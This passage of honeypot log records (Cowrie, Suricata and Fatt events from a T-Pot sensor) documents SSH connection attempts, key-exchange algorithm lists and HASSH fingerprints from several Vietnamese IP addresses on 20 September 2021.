"hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "50123e90af28", "@version": "1", "timestamp": "2021-09-20T11:09:40.117137Z", "@timestamp": "2021-09-20T11:09:40.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25098	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:40.223074+03	2021-09-20 14:15:09.658498+03	{"_id": "BgblAnwBvYTbRNuEsxlc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "490ee088a5c2", "@version": "1", "timestamp": "2021-09-20T11:09:40.223074Z", "@timestamp": "2021-09-20T11:09:40.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25099	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:40.284924+03	2021-09-20 14:15:09.660501+03	{"_id": "BwblAnwBvYTbRNuEsxlc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "53def5f3cfdc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:40.284924Z", "@timestamp": "2021-09-20T11:09:40.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25100	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:40.413648+03	2021-09-20 14:15:09.661473+03	{"_id": "CAblAnwBvYTbRNuEsxlc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4bc21f302bb8", "@version": "1", "timestamp": "2021-09-20T11:09:40.413648Z", "@timestamp": "2021-09-20T11:09:40.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25101	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:40.120437+03	2021-09-20 14:15:09.6625+03	{"_id": "CgblAnwBvYTbRNuEtRmW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1613919524358922, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35274, "dest_port": 22, "timestamp": "2021-09-20T11:09:40.120437Z", "@timestamp": "2021-09-20T11:09:40.120Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25102	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:40.56604+03	2021-09-20 14:15:09.6645+03	{"_id": "DwblAnwBvYTbRNuEthmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42392, "dest_port": 22, "timestamp": "2021-09-20T11:09:40.566040", "@timestamp": "2021-09-20T11:09:40.566Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25103	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:09:40.222401+03	2021-09-20 14:15:09.665472+03	{"_id": "EAblAnwBvYTbRNuEthmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42572, "dest_port": 22, "timestamp": "2021-09-20T11:09:40.222401", "@timestamp": "2021-09-20T11:09:40.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25104	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:41.183948+03	2021-09-20 14:15:09.6675+03	{"_id": "EQblAnwBvYTbRNuEtxkw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:50876 (192.168.176.2:22) [session: 42c3e721ce53]", "session": "42c3e721ce53", "@version": "1", "protocol": "ssh", "src_port": 50876, "dest_port": 22, "timestamp": "2021-09-20T11:09:41.183948Z", "@timestamp": "2021-09-20T11:09:41.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25105	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:40.470484+03	2021-09-20 14:15:09.6685+03	{"_id": "EgblAnwBvYTbRNuEtxkw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "73161241e082", "@version": "1", "duration": 2.474987268447876, "timestamp": "2021-09-20T11:09:40.470484Z", "@timestamp": "2021-09-20T11:09:40.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
